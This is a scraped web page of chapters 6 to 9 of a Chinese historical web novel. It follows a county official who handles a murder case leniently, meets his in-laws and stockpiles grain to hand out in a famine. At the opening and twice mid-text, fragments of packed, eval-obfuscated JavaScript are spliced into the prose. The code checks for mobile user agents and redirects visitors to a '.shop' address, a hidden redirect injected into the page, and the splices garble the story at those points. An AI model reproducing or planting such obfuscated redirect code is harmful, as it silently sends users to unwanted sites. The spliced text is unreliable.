RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207076|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按章程来。” 解臻释怀地笑了一下,把那木质酒壶从地上捡起来,放回桌上,耸耸肩道:“随便咯,你把我带走打板子砍头吧。不过别给我送去充军役,这活着还不如死了呢。” 姚复忽然问:“你死了,你娘和你妹怎么办。” 解臻被问住了,他凝眉思索一会儿,说:“你是个好官,我把她们托付给你好了。” 姚复失笑:“你凭什么觉得我是好官?我在启封的坏名声可是里里外外无人不知。” “那个县令根本不管杀人放火这些事的,有时候征兵他还会亲自带着家丁抓人交给上头的官老爷。”解臻眉间带上了一丝忧愁。 姚复点点头,趴回桌子上,双手撑着下巴,问:“主簿呢?” “他倒是想管,管也管不了。那边的王寡妇报了几次案,他来了几次,每次都是走到半路被那个县令截胡。”解臻又笑了。 姚复站起身:“行。” 看见县令那个不管事的老头风评这么差他就放心了,迟早得一脚踢了他。 “今天的谈话天知地知你知我知,算算时间那个死人脸的主簿快来了。” 姚复慢悠悠在院子里转了几圈,甚至掀开了那草帘子,时不时看看那老太婆青紫黑的难看脸色,然后继续转圈。 过了不到半刻钟,司空谷果然带着他那小本本来了。 “姚县丞,审完没?今天县令又——” “审完了。”姚复淡定摆摆手,“你别管县令怎么着,搅事精。” 司空谷点点头,欲言又止。 “咳,那我定罪了啊。”姚复故作深沉地握拳放在唇边,装模作样地咳嗽一声。 所有人都屏息凝神,两眼一眨不眨地盯着他看,空气似乎都停滞了下来。 “解臻,教唆庄氏毒杀他人,打二十大板;庄氏用砒霜毒杀他人,打三十大板,念在庄氏体弱,精神也疯癫,不好施刑。” 司空谷眼角一抽,不可置信地抬头问:“定罪这么轻?解武案呢?” 姚复一脸理所当然的表情,上口说:“庄氏毒杀的她婆婆,孩子奶奶,家属谅解了,死者本人也谅解了,减刑有什么。还有解武,什么解武,不是自己摔死的?” 说着他给女人使了个眼色,女人会意,立刻手脚并用浑身抽搐地爬到那树下,对着老太婆的尸体又抓又挠,嘴里还不知道嘟哝着什么玩意,一会儿抱头痛哭,一会儿癫狂大笑。 然后姚复昂起下巴,对解斛珠喊:“你——过来。” 解斛珠到底十五了,也知事,姚复不信这两起命案跟她一点关系也没有,不过是她哥给她摘干净了。小姑娘瘦骨嶙峋的,看着比同岁的嫩杨、银杏能低一个头。姚复微微弯腰,尽量柔和地问:“你原谅你娘没?” 解斛珠也颇有演艺天分,哇的一下抱住姚复的大腿,哭着喊:“祖母打我骂我不准我吃饭,爹打娘,也打我……娘对我好,我不要离开娘!” 干打雷不下雨,一滴眼泪也不见掉下来。解臻拍拍脑袋,也站起身,还装成醉的样子,说:“你打我吧,我都认罪……我也没怎么醉……” 明眼人哪看不出来这就是演的,司空谷也知道这就是冲着他演的。虽说巡捕定罪的权利基本上都在姚复手里,可还有一部分握在司空谷手里,譬如记在文书上盖棺定论,譬如找人行刑。 司空谷头疼的看着这一出闹剧,心里哪里不知道姚复就是跟那个杀人犯看的投缘了—— “那就这样。”司空谷蹙着眉在那小本本上记起来,“你给他们行刑好了。” 话音还没落地,女人便把头发打理地稍微整洁了一些,解斛珠火速撒开手,跑到她哥哥背后,冲着姚复做了个鬼脸。 “嫩杨、银杏!”姚复冲着门外仍然睡的歪七扭八的两个人喊道。 两个姑娘意犹未尽地咋咋舌,嫩杨揉着睁不开的眼,银杏则是大声喊:“干什么!又干什么!不就是只炖鸡吗!你至于吗!我睡的正舒服呢!” “你家姑娘可是说了要你们少吃点——过来给他行刑!”姚复朝门外喊道。 “烦死了烦死了!”银杏一边扶着头顶散乱的两个发髻,一边跨过门槛往里走,嫩杨还在地上悠然地伸着懒腰。 7. 第7章 银杏和嫩杨再不乐意也得老实爬起来给解臻施刑,小姑娘不比壮年男子,下手不重,二十大板下来解臻也没受到什么实质性伤害。 这案子也就算揭过了,后头解臻打算怎么把解武的尸体抬回来、怎么安葬就是他们自己家的家事了。 “你们以后打算怎么过?”姚复出门前问了解臻一句。 之前这家是啃老底过活的,现在老太太和解武都死了,余财也不多,朝廷又隔几个月就来征兵,解臻也不好抛头露面到外面去做工养家糊口,解夫人和解斛珠两个女子,纵然会些女红也找不到卖家。 这家子又住城里,也没有田地耕作。 解夫人整理好仪容,站在门口,劫后余生倒是露出了温婉的微笑:“不劳姚大人费心,庭院里这三分土地我和小儿不日便会开垦耕作,种出的东西也够我们三人过活了。” 城里人没有土地,交税也都是银钱,种地倒不必像农户一般,一年心血到头来只剩小半握在手中。 可这马上入秋了,种什么也不好长。 “这个时节了,种什么也种不出来。先想办法弄些鸡鸭养着吧。”姚复无奈地说,“这些日子你们先凑合着过,入冬了可以到我那住一段时间。” 一看那解夫人就没下地干过活,也不知道母族是做什么的。 解夫人笑着应是,姚复转身欲走,脚尖堪堪碰到门槛,刚刚被解夫人扶起来,只勉强站着的解臻突然对着他喊:“姚大人,小人蒙了您的情,如果你办事有需要,尽管来找我!” 姚复头都没回,只招招手示意自己知道了,便带着嫩杨和银杏回去了。 解臻家里这个情况,他本人怕是没读过多少书,也不是好用的人手,再者他还得照顾两个女人呢,哪来那么多时间帮姚复办事。 这事了结后大家又过上了清闲的日子。 姚复看见街里荒凉的景色就心里堵得慌,干脆就待在家里,闲来无事把庭院修整了一遍,野草拔了个干净,还在院子里那棵树上搭了只秋千。 只是应瑕老是对他爱搭不理的,也不跟别的姑娘一样活泼好动,只喜欢拿着某本书坐在廊前看。 两人井水不犯河水,看着是举案齐眉相敬如宾佳偶天成,但姚复总觉得这样不行,他俩没什么共同语言,多说一句都费劲,连互道早安晚安都没有,甚至至今还是分房睡。再这么下去,和离也是迟早的事。 和离对姚复不算什么,对应瑕一个姑娘家……传出去总不好听。就算她父亲是皇商,权势滔天,离了也会有无数人求娶。 姚复蹲在秋千旁,思考良久,终于鼓起勇气往应瑕那边走去。 应瑕感到面前的阳光被挡住了,不禁疑惑抬头问道:“你有什么事?” “没、没事不能找你说话?”姚复略微有些支吾地回复,“我们不是夫妻吗?” “嗯。”应瑕不冷不热地应了一句,“没事一边去,挡着阳光了。” 姚复听闻此言,心中不免寒凉,不过还是乖乖挪了身子,给应瑕挪出那一点阳光。总站着也不好,姚复干脆坐在了应瑕旁边,瞟了眼她看的书。 “你看书都不会腻吗?”姚复问道。 应瑕淡定合上书,露出封皮——《孙子兵法》,随后说:“书中自有黄金屋,书中自有颜如玉。书这东西,没营养的自然会腻。大家经典就算是翻烂了也有价值。” 正所谓“温故而知新”。 一谈起书来,应瑕的话就多了起来,姚复接着往下问:“你一个姑娘家看兵书?” 应瑕懒懒掀起眼皮,斜睨了姚复一眼,顺手把书放在地板上,自己则正襟危坐:“怎么,你有意见?” 姚复连忙摆手:“没有没有,当然没有。不过你又不领兵打仗。” 应瑕哼了一声,不再说话,斜视着他的那只眼里盛满了笑意,仿佛是在嘲讽姚复肤浅短陋。 姚复倏尔想起当初妇好领兵作战、功成铸鼎,又想起那花木兰替父从军,衣锦还乡。女子自然可以领兵作战,不过是时代不再允许罢了。 “现在又不打仗。” “以后会。”应瑕言简意赅地回答,中间似乎还掺杂着无声的叹息。 昏君无道,妖妃祸国,打不起来都难。何况还没打仗,阳城就荒成一片草野了。 应瑕把书丢进姚复怀里,站起身来,背对着姚复说:“闲来无事,也不要跟银杏她们闹了,多看看书吧。” “隔两日我父兄就会到阳城来。” 说完她就进屋去了,取了一本新书,便又出了来,坐在门廊前,姚复身边,两人一起看着兵书。 这回应瑕拿出来的是《孙膑兵法》。 姚复严重怀疑她的书架上只有兵书。 若是以后打仗,照着现在这个形势,估计得群雄逐鹿了,那他前十几年读的那些圣贤书算什么?又用不上! 管他呢,打不打得起来还不一定,书看多了又不会掉块肉。 嫩杨和银杏一前一后推着秋千,叽叽喳喳在院子里玩,从前姚复还会跟她们一块,或是推秋千,或是讲一些《庄子》里的故事,现在一连几天姚复都跟应瑕坐在那看书,叫两个小姑娘也有些自惭形秽,干脆一人捧了本小说坐在秋千底下读。 新涂偶尔也会到正院来打拳——姚复叫不上那拳法的名字,反正新涂老是在他的别院里打拳,要不就跟姚复要些纸张,不知给什么人写信。新涂每次过来,看见这四个人其乐融融地坐在那读书,都会忍不住啧啧称奇——从前姚复哪怕出去疯一天,也不愿意多读一行字的。 姚复其实不是很喜欢看书,但应瑕某日吃饭时告诉他过几天她爹应摇光和她哥应瑜要来阳城——具体为什么她也不肯说,只说要来。这门婚事怎么算也是姚复高攀,他极其不理解为什么应家把女儿嫁给自己,应瑕那个闷葫芦性子说了也不答。如今也只能多读些诗书充充样子,免得应摇光对自己意见更大。 应家人来的也不甚迅速。 姚复本以为赶在立秋前这家人差不多能到,谁知这一读书就读到了千山红遍的时节。 本是个平平无奇的早晨,前天刚刚下过雨,院子里的枯草上还带着些许湿意,姚复照例拿了本书坐在门廊上,却忽然听闻门外传来阵阵马蹄声,还伴着车毂转动的隆隆声,嫩杨老爱凑热闹,一听到声音便上前开了条门缝,探着头往外看。 刚刚瞄了两眼,嫩杨便高兴的大喊起来:“是老爷来了!姑娘,是老爷来了!大公子肯定也在车上!” “真的吗!”银杏欢呼一声,将书本往后抛去,不偏不倚落在秋千上,随后也跑了过去,把门开的更大。 那隆隆的车声方才停下,姚复连忙扶着应瑕起来,却还是不免叹了口气。 “他们不会为难你。”应瑕只当姚复是忧心家人的关系,随口安抚了姚复两句,“平常心对待就好。” “不是……”姚复扶额,“你的头发怎么办啊。” 左右是在自己家,当然是怎么舒服怎么来,这十几天应瑕都是披散着头发,随随便便穿个寝衣就坐下看书,有时候连鞋子也不穿,极尽“不修边幅”四字。 老丈人和大舅哥来的突然,应瑕也没打扮。 应瑕低头看了看自己粘上了几根枯草的衣服下摆,捋了捋垂在胸口的长发,然后一脸无所谓地说:“就这样吧。” 旋即叫银杏和嫩杨把门开敞亮了。 那马车停在门口,愣是没人下来,倒是能听到里面两人在小声争执。 莫非是为了谁先下车吵起来了? 姚复百思不得其解。 争执声渐渐减弱,一只布锦鞋踏在地上,那人也掀开厚重的帘子,下来的是个翩翩公子,想必就是应瑕她大哥应瑜了。应瑜跟应瑕的性子几乎一模一样,下来之后一句话也没说,只冷冷看了应瑕一眼,随后本就紧绷的唇线抿的更直:“你又不梳头,嫁人了还是这样。” 应瑕也不甘示弱地斜了回去:“那又怎样。你又没穿袜子,当心娶不到媳妇。” 应瑜冷哼一声,拍了拍姚复的肩膀,说:“你倒是有个好命格。” 姚复勉强笑了一下,什么也说不出来,老泰山还没下来呢。 应摇光也没让他失望,马上就下来了。 他和应瑜、应瑕兄妹气质不怎么一样,反而显得温文尔雅,身材已经略微有些发福了,气场却仍旧浑然天成,活脱脱一个儒商,脸上甚至带着三分和善的笑意,不过剩下七分都是精明的算计。也不知是不是错觉,他下来的一瞬间应瑜和应瑕竟收了那瘆人的神通,姚复顿时感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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应瑜拿过剑鞘,一把将长剑收起,旁若无人地说:“听闻此剑用的是天山的陨铁,越国的赤铜混合铸成的;最初的剑鞘是整块的沉香木,不过流落民间许久,怕是早已朽坏,我托人重造用的樟木;剑柄则是用了上好的象牙,又涂上了祭祀用的墨漆——” “不是,”姚复有些不可置信地打断,“这么好的东西为什么送给我?你们自己留着不行吗?” 应瑜没说话,仍只是神色冷冷地看着他。 应摇光抱着那木盒子来打圆场:“我们大宝有相面的本领,看得出你必成大器——” “泰山竟然信这个?”姚复怀疑的目光投向应摇光,后者一下被噎住了。 应瑕终于明白了最讨厌姚复哪一点,上前一步,劈手夺下应瑜手里的剑,塞进姚复手里,不耐烦地说:“给你接着就好了,哪这么多废话。” 姚复愣在当场,只拿着剑不知所措。他从前在家总喜欢和姚老头杠上两句,见了泰山这毛病便又发作了,平日里混迹市井也学了不少油嘴滑舌的功夫,应摇光接什么他都能说两句,如今应瑕这般直爽却叫他手足无措。 “把你那老爱跟老头子抬杠的臭毛病给我改了。”应瑕极度不耐地揉揉耳朵,推门进屋去了。 应瑕也算给了他一个台阶,姚复急急追了过去,免得自己的嘴再不听使唤,应摇光还在门口大喊:“回头叫双福给你缝个剑穗啊!” 紧接着两个人就被嫩杨和银杏缠上了。应家的小丫头大概都是跟女儿差不多待遇的,两个丫鬟能无法无天地缠着主家讨要零嘴,主家还能满脸笑意地给她们分糖吃,这家平日里是什么人可见一斑。 “话说,你小名为什么叫双福啊?”姚复关好窗户,笑着问应瑕。 应瑕不像她哥那么抵触这个昵称,甚至微微笑着解释:“应瑜是大宝,就字面意思。我出生时家里被征做了皇商,又恰逢新春,便叫双福。我还有个妹妹,便顺着叫做了三喜。” 还好应瑕这个小妹行三,若是行四,那真真到了光想想就能笑出来的地步。 “不愧是皇商啊。”姚复喟叹一声。 起名恰到好处地符合了孩子的行数,因着天时地利,又不失风雅,还寄托了美好的祝愿。 这就是文化人吗? 8. 第8章 应摇光和应瑜只在这儿待了半天就走了,说是还有要事在身,马车便又匆匆转了起来,往东继续行进——可长安不是在阳城西边么? “五年前我父亲从江南运茶叶到长安,路上遇到了土匪,我和我哥受了重伤,那个妹妹却在兵荒马乱中失了踪迹。”应瑕看着远去的马车,极为淡定地说,“他们大概又要去找她了。” 姚复总觉得这话怪怪的,就好像应瑜是应瑕的血肉至亲,而应三小姐不过是个和她有着血缘关系的陌生人。 应瑕谈及这个三小姐时,脸上甚至连一丝悲伤也没透出来。 应摇光的态度也十分奇怪,按理说失去了一个女儿,应当会对另一个更为疼宠,可他把应瑕嫁给自己这样一个乡野村夫就罢了,也没添置嫁妆,成婚将近两个月,也只来看望过一次,还是顺路。 如果说他对应瑕不伤心,却又送给女婿一方宝剑。 真是奇也怪哉。 姚复晃晃脑袋,把这些想法赶出去。再奇怪他也不敢多问,万一戳着应瑕的痛处,就不好收场了。 “他们走了,我们出去玩玩吧。”姚复偷偷瞄着应瑕的反应,生怕她不同意。 应瑕果然蹙起眉头,满脸不解地问:“你前些日子还嫌弃阳城荒芜呢。这阳城不比启封,尽是些残垣断壁,能有什么好玩的。” 姚复莞尔一笑:“离上次征兵也过了小半年了,也有些人出来做生意了。新涂说南街上新开了酒家。” 这些日子姚复和应瑕闷在院子里读书,只有新涂无趣了才会出来转转,回头就把见闻说给姚复当乐子听,两个小丫头也出来玩过两圈,只是每次回来都是吐着舌头抱怨此处不如长安,连个卖香囊的铺子都没有——最终嫩杨那只破掉的香囊还是应瑕用拙劣的针法补好的——两个姑娘只负责小姐起居,似乎没学过针线活。 话一出口姚复就后悔了。这青天白日的,哪有女儿家光明正大在街上喝酒的。姚复微微垂下头,装出一副无辜的神情,继续偷瞄应瑕的脸色。 “酒家?”应瑕思考了一下,随后重重点头,“我去梳妆打扮,你叫新涂出来,咱们三个喝几杯去。” 说着应瑕就招呼着银杏和嫩杨进屋换衣服去了。这一举动实在是让姚复大跌眼镜,眼珠子都快瞪出来了。不过他很快就想通了——应瑕也不是平凡女子,是世间无二的一朵奇葩,怎么做都不出格。 姚复无奈的笑了一下,最终转身去了偏院叫了新涂。 新涂仍是坐在那一方小院里写信。神情专注,连姚复推门进来都没注意到。 姚复没有偷窥别人写信的癖好,只走近了猛然一拍新涂的肩膀。 后者吓了一跳,着急忙慌地收起信来,又手忙脚乱地站起来,急急问姚复:“姚兄,你没看见内容吧?” 姚复摇摇头,确实没看见内容,但余光难免瞥到了那信的起头处,写着八个大字“赤玉卿卿见字如晤”。也许是新涂的红颜知己。 “到时候成婚了记得请我吃喜酒。”姚复随口说了一嘴,“今天你嫂子雅兴大发,咱去你之前说那家开张的酒铺子去喝酒。” 新涂一个五大三粗的汉子,竟少有的脸红了——话也说不利索,只支支吾吾地应答:“行……行。” 这半日来新涂整个人都是心不在焉的样子。 那酒家看起来不是新开张的,是重新开张的。门口竖立的那酒幡子已经略有褪色了,边角也是毛毛躁躁的,年头是不少了。那店里倒是打扫的整洁,只是有些桌椅看着不牢靠,关店的这些时间里像是被虫蛀了。 满街就这一家酒家敢开张,条件什么样也没人嫌弃。 店里人并不多,大多是些没有性命之忧的残疾人。 所幸还有桌子,姚复三人施施然落座,桌子开张前被擦过一遍了,但还积着薄薄一层灰尘,应瑕微蹙着眉头,强拿随身带的帕子擦干净了。桌子上那些污垢似乎是陈年老灰了,在桌子上不好擦,到了帕子上也是粘结着,应瑕翻过帕子看了一眼,便随手丢了。 左右也洗不干净,不如丢了干净。 后面那桌有个男人瞎了一只眼,见应瑕丢了帕子,马上呲着牙上来捡,应瑕只有些嫌弃地看了那蓬头垢面的男人一眼,便也由着他了。 那人充满歉意地朝着对面的姚复笑了笑,手里摩挲着那帕子:“好料子,好料子……呵呵。” 然后他就把帕子塞进了袖子里,坐回自己的位子上,笑着对旁边的瘸腿男人说:“回头洗洗,给我家囡囡做生辰礼……” 应瑕有些不自在地往前坐了坐,对姚复说:“点菜吧。” 姚复点点头,叫来了跑堂的——那是个年轻男人,二十七八,健全人。 这家酒菜是固定的,酒是自酿的浊酒,味道不比启封那说书堂子卖的多好,菜也只是些小菜,什么白菜啊蘑菇啊,都是些随处可见的菜。至少这几年还没闹饥荒,蔬菜不做征税用,也还算充足。 “往年都是六个月征一次兵,一半派去打仗,一半去修皇陵。”应瑕抿了一口酒,“我听说这几个月皇陵完工了,北边的匈奴也送了质子……” 可算是稍稍太平了,只要皇帝别再一时兴起修什么宫殿运河,大约“明年人们就能得到休养生息了。 新涂晃着酒杯,出神地看着天花板,好像他那后。红颜知己在天上一样,愣了好一会儿,绣口一吐:“没准呢。老皇帝天天求仙问药,搞不好哪天就死了,到时候还得修皇陵。” 皇陵都是从皇帝继位开始修,原本用不了多少人,例行的徭役完全够用,可这连年征战早就过度消耗了人口,再修皇陵人手明显就不够了。 何况说是徭役,这么多年也没见几个人回来,要么死在战场上,要么给皇陵陪葬了。 姚复撇撇嘴,埋头喝酒。 三个人不约而同地保持沉默,旁边几桌的客人们喝高了都是又哭又笑,一边念叨着什么时运不济,苦尽甘来,一边继续往嘴里灌酒。 眼见着越来越闹腾,应瑕揉揉太阳穴,示意姚复去结账。 姚复站起身来,路过应瑕身边时,后者不动声色地拉了拉他的袖子,随后一小块硬物被递进了手里。 于是路过瘸子那桌时,姚复顺手把那银子抛在了桌上。去结账时姚复还微不可查地叹了口气,也不知应瑕怎么想的,万一那桌人是为了骗钱呢? 为了逃兵役故意戳瞎眼摔断腿的也不在少数。 姚复多拿了些钱,叫老板娘去清场,把那些醉鬼都弄出去。 老板娘拿了钱会意:“诸位,本店要打烊了!赶紧结了账回家去罢!” 大多人都是有分寸的,不过是借着酒力好好发泄,都不至于醉到让家里的妻子儿女来接人的地步,大家心里门清——这种时候,不给家里人添麻烦的好。 那瞎了一只眼的收起桌上的银子,脱了那跟他的尊容完全不符的干净外袍,把半桌子菜打包,等到人快走尽,又去扫荡了其他几桌子剩菜,最终站在姚复那桌前,向着桌上坐着的两人拜了两拜,没说话,带着瘸子走了。 没有哪家营生愿意收两个残疾做工,两人种地也不利索,大约就是想出点钱买醉,顺便捞点别人剩下的剩菜。这年头只要是能勉强饱腹的大约都不至于捡人家的剩菜。 应瑕也站起身想走,姚复连忙回来拉着应瑕坐下:“再吃点吧。早知道就把那两个小丫头带来了,这么多剩菜……” 说多也不多,都是些素菜,简简单单的四个小碟子。不过是味道淡,不怎么好吃,就显得极多了。 “这年头谁都不容易。”新涂咬着筷子含混不清地说。 老板娘开张估计也是迫不得已,马上就要入冬了,再不赚钱谁都活不下去。多赚点就能从乡下那些农人手里多买二两菜。 那跑堂的似乎就是老板,两人利落地把桌子收拾干净,老板娘又去端了两盘菜,随便找了桌子坐下开始吃饭了。夫妻两个一边吃还一边叽叽咕咕地互诉衷肠。“ 也许也不是互诉衷肠,反正听着是很亲昵,但又极富哀怨之感。 “老板娘!”姚复忽然勾头喊了一声,“还有酒吗?” 老板娘扭过头,尴尬赔笑:“没,没了。明日的酒还没买呢,我们这也是第一日开张,没什么客人……” 姚复点点头:“你家酒不错,我们明天还来哦。” 这家酒味道不见得比那说书堂子好多少,却是十分浑厚,回味无穷,启封的酒就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此后几个人一连去那馆子里吃了十几天,期间姚复也和老板娘夫妇混熟了,老板叫桥虹,先前是个读书人,听说祖父是先帝的老师,后来那桥太师被砍了脑袋,桥虹他爹就带着他逃到了乡下。他妻子张氏家里就是开酒馆的,这酒馆也是她继承父辈的。她自己也会酿酒,只是这些年兵荒马乱的,便一直没重操旧业。 “那你们怎么躲过征兵的?”被强行拉来的司空谷如是问。 张氏笑笑,说:“我家地下有几个大酒缸子,每当有人征兵,我就叫夫君躲在里面,灌上半缸水,那些官兵要掀开查,我就送他们一些酒——我爹酿的还留一些,告诉他们缸里的还没酿好,不能拆。他们喝了酒,也算收了礼,便也作罢了。” 来抓人的官兵都是些底层官吏,大多没喝过什么好酒,随便从酒窖子里拿几坛便也不再为难一个女人家了。 “原本我还想着入仕……如今倒想着哪有仁人志士反了,我就做军师去。”桥虹有些羞涩地笑着摸摸头,“我不比小鱼,没有安身立命的本事。” 小鱼大约是张氏的闺名。 现下也勉强称得上太平日子,在下次皇帝有大动作之前大概率是没人会反了。不过现在这个官场确实倒人胃口,如果说姚复拿到拜官帖之前也对官场有一丝期待,那么现在是真心灰意冷了。 懒政怠政贪污受贿都是常态,可他这一顶乌纱帽是皇帝手谕送来的,怎么着也不好甩手回家。累是累了点,但是每个月也会发一些肉米,至少够他们一家子五个人吃半个月,久而久之说不定还能有些积蓄呢。 司空谷看着挺斯文一个人,吃起饭来倒是没一点样子。 姚复站起身来,理了理衣服下摆,对应瑕说:“这中秋刚过,往后的瓜果蔬菜也少了,回头咱们几个得多囤点吃食才好。” 这民生刚有一点起色,却马上入冬,怕是很快就会闹灾荒,朝廷的赈灾粮又不可能下的来,早作打算才好。 应瑕特别喜欢张氏做的一种糕点,也不知道叫什么名字,张氏见她喜欢,便省着材料做了专供他们这桌吃。应瑕正就着茶水咽下一口糕点,闻言抬眸看向姚复:“你打算囤多少?咱家人不多,到来年开春光朝廷发的禄米就足够了。” 何况姚复当初费了大力气给解夫人一家弄了不少鸡鸭,有雏体也有成体,这几日那批成鸭也都育肥的差不多了,解夫人总是弄了鸭肉就让解臻或解斛珠隔三差五送上两只。因此姚复家里是并不缺肉的。 自家粮米是充足的,整个冬天也不至于饿肚子。 姚复狡黠一笑:“咱家人多,得多买点。” 应瑕吞下最后一口糕点,点了点头。 “要是不趁早买,县令就要把乡下卖的粮米抢光了。”司空谷抿了一口酒,顺口接上茬。 9. 第9章 姚复是言出必行,第二天一大早就带着人跑了出去,买断了乡下大部分农户出售的粮食——剩下的一部分大约是够城里其他居民撑到入冬。 姚复出门时是特意让新涂驾着他的马车来的,还专门问了桥虹和解武有没有多余的车子,又在街坊中挨家挨户借了几头牛,专门用来拉粮食。东拼西凑之下终于凑齐了五架车子,少说也能运千斤的粮食。 几个人一直忙到下午,最终司空谷拿着他那个小本子汇报道:“咱们今天买到粮食九百二十斤,蔬菜三百三十斤,还有一些应季的水果,不过只有不过百斤……” 姚复满意点头:“行,回程吧。我看张夫人的酒窖子够大,应该足够存放这么多东西了。” 几个人又浩浩荡荡回去了,连夜把那几十个麻袋的东西搬进了地窖。 等干完这些活,都到了东曦既驾的时辰了。张娘子也是知道他们囤粮食的事的,特意早早地起来做了一桌子好菜。 新涂坐在桌子前,一边擦着额头上的汗,一遍问姚复:“姚兄啊,这才什么日子,囤这么些粮食做什么?” 姚复顺手给应瑕夹了一筷子菜,随后笑了起来,眼里还闪着一丝狡黠:“这就叫‘兵马未动,粮草先行’。主簿也说过咱为什么要去抢粮食了,道理大家都懂,可若是晚了一步,买断的就不只是粮食了。” 那个神经县令宁可留着多余的粮米酿酒喝也决计不会分发到城里救灾去的。这城里的生意刚刚有些起色,居民手里都没什么钱,更没粮食,入了冬甚至连野菜都没有,叫这些老弱妇孺拿什么活? 姚复可不想上任第一年就看到这饿殍遍野的景象。以前在启封那烟花锦盛之地未曾见过“朱门酒肉臭,路有冻死骨”的景象,饶是到了阳城这到处都是废池乔木的地方,姚复也不希望亲自看到那哀戚的景色。 诗词嘛,读读也就罢了,不必叫它描绘的那些东西真出现在眼前。 每年过了霜降还有不少水果吃,只是粮食渐渐地少了,到了立冬时节,几乎连应季的水果也没了,家家都靠着一点微薄的存粮勉强生活,前些日子赚到钱的也不在少数,都到乡下买了些粮草来。 也不过在立冬后一两天时间里,司空谷突然登门,告诉姚复县令派了家丁下乡,扬言要买断所有余粮——最终当然是空手而归。姚复买走的那近千斤的粮食已经是农人们愿意交易的大部分了,剩下那小部分没有买走的,这些日子也都卖的差不多了,哪里还有剩的给县令买? 即便是有,那也是人家自己过冬的口粮和种子粮,整个阳城都靠着这两样东西,期盼着来年能饱腹呢。 “啧啧啧,县令的脸色,可真是……”司空谷轻笑了一下。 县令有事没事老喜欢叫司空谷过去给他参谋,什么长子纳妾次女出嫁,都得司空谷给他安排。司空谷是整个县的主簿,又不是专门给县令出谋划策的师爷,老早就看着这个既懒惰又狂妄的县令不耐烦了。 这回县令没买着粮食,自然而然又把司空谷叫了去。 据说县令当时斜躺在他那金丝楠木美人榻上,第三房小妾捏着肩,第四房小妾揉着腿,第五房端着葡萄第六房斟着酒。这老小子还颐指气使地对司空谷说:“主簿啊,你看我今天叫人去买粮,怎么会空手而归呢?这府里的酒都快不够了啊。” 这老匹夫,真当自己是个土皇帝了。司空谷心里啐着,脸色是黑着,就差没吐他脸上:“收成不好,卖完了你能怎么着。” “诶,那怎么办呢。”老匹夫费了半天劲坐起身来,“你家有粮没?有了借我一点,等禄米下来,我再赔给你……” 司空谷呵呵一笑:“呵,我家也没余粮。你要粮食去找姚县丞。他岳父是皇商,想必送了不少粮食。” 老匹夫大惊失色,连连摆手:“这可不兴啊!他岳父是皇商,我可惹不起。我这脑袋可是天天别在裤腰带上呢!” 确实别在裤腰带上,徇私枉法贪污受贿的事就够他吃一壶了,更遑论是草菅人命。光这些光荣事迹捅到皇帝面前都够群臣的唾沫淹死他,贵妃的谗言都排不到优先级。 “哎呀,你家就你自己,也没有粮食就不要骗我了嘛!”老匹夫坐在榻上,一拍大腿,“我又不是不还了!而且你看看你还没婚配吧,不如这样,我这小女儿也是国色天香……” 要是姚复说不定就真信了,可司空谷和他共事三年,每年都被各种理由借走大半禄米,事后也没见还过。至于他那个小女儿……司空谷平日最看不起对女子评头论足之人,也深知不能以貌取人,可那姑娘真是随了爹,外表不重要,重要的是她那嚣张跋扈的性子—— 她好像打死不少下人了。 司空谷打了个寒战,抄着袖子准备走,脸上还是波澜不惊的样子:“三年前的禄米你还没还给我,我家里现在已经揭不开锅了,这些日子都是去姚县丞那里蹭饭。” 顿时县令的脸色跟个灯笼似的,一会儿红一会儿绿,最终定格在了一种五彩缤纷的形态,活似刚刚生吃了几十只苍蝇。 平日里对着这个死老头怨气冲天的司空谷差点笑出来,费了九牛二虎之力才压制住上扬的嘴角,为了防止自己笑出来,司空谷飘飘然转过身,凉凉撂下一句:“他们夫妻脾气不错,你若去了定然不会把你打出去。姚夫人的手艺也是很好的。” 空气似乎凝滞了,连那几房小妾都是战战兢兢地不再动弹了,只畏惧地看着自家县老爷。 司空谷看不见县令的脸色,但能猜到他表情好不到哪去。再想下去就真笑了。司空谷维持脸上高深莫测古井无波的神态着实花了不少气力,丢下那句话就赶紧走了,省得被逼到破了功。 这日阳城恰下了些薄雪,姚复便招呼着银杏架起一只铁锅,在里面涮菜吃。 彼时大家都在呢,新涂头一个爽朗地笑出来:“哈哈哈……你别说,我就算没看到啥样,一想那画面都想笑!” 旋即姚复也笑了起来,两个姑娘不肯停嘴,也不知道大人们在说什么,趁着他们不注意埋头吃着为数不多的肉菜。应瑕只是微微笑了下,并未做过多表态。 “好、好了。”姚复顺了顺气,敛起猖狂的笑声,嘱咐着一桌子人,“赶紧吃,咱们好收拾收拾,下午给大家发粮食去——” 这个关头,比被司空谷三两句话气的脸色发绿更让县令难绷的还是自己上午还空手而归,下午自己的下属就自作主张拿存粮救济灾民去了。 这下可好,粮食他没拿到,美名也照样拿不到。 “主簿啊,”姚复故作深沉地对司空谷说,“可得劳烦你去挨家挨户通知大家下午到张家酒楼前领粮食了。” 这些粮食不能做成粥再发出去,不仅耗费人力物力,还容易惹的某些人眼红,说不准就会半夜去偷余粮酿酒喝呢。 姚复站起身来,决定去清点一下囤起来的粮食——前些日子抽了时间将那些物资按斤数分成了小袋,可全城那么多人家,这些东西显然不够。分不到粮食的就得另谋打算,这可不是什么好事。 一想到之前见过的解家不知道跟哪家换的“羊肉”,以及各种躲在暗处看不见的那些,姚复就禁不住身上一阵阵发冷。 如果发的粮食不够,易子而食这种灭绝人性的现象到底不能被遏制住。 今年阳城格外的冷,也不知是不是这地方的特色,左右启封从来没在这个时候下过雪。 到下午的时候天上又开始飘淅淅沥沥的小雪花,司空谷大约也知道粮草不足,便只通知了没有壮年男子的家庭,因而下午来领粮食的基本都是些壮实的妇女,或者半大的少年,一人领走足够全家过冬的粮。这一下午下来姚复买的存粮和水果、蔬菜也基本上全都发完了。 